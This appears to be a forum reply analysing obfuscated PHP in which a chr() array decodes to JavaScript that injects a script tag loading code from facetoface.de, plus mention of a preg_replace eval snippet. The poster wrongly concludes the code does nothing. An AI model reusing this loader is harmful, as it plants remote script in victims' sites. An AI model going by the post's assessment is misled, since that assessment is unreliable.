This code generates some Javascript:
foreach(array(10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 115, 116, 121, 108, 101, 46, 100, 105, 115, 112, 108, 97, 121, 61, 39, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 39, 39, 59, 10, 10, 13, 9, 92, 39, 0, 112, 49, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 102, 97, 99, 101, 116, 111, 102, 97, 99, 101, 46, 100, 101, 47, 101, 120, 116, 47, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 116, 114, 117, 101, 99, 115, 115) as $vj[0]) {
$vf. = chr($vj[0]);
}
Made an $vg., if I echo this, it generates:
document.getElementById('PhpOutput').style.display='';
document.getElementById('PhpOutput').innerHTML=''; \'p1truecss
So this code does nothing with your htaccess
The second code generates a Link. But I you currently are trying to hack a script. Which I don't know is legal. The code shows this error. So it is generating a link. But not all the variables it required are given. So I can't echo the preg_replace
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code: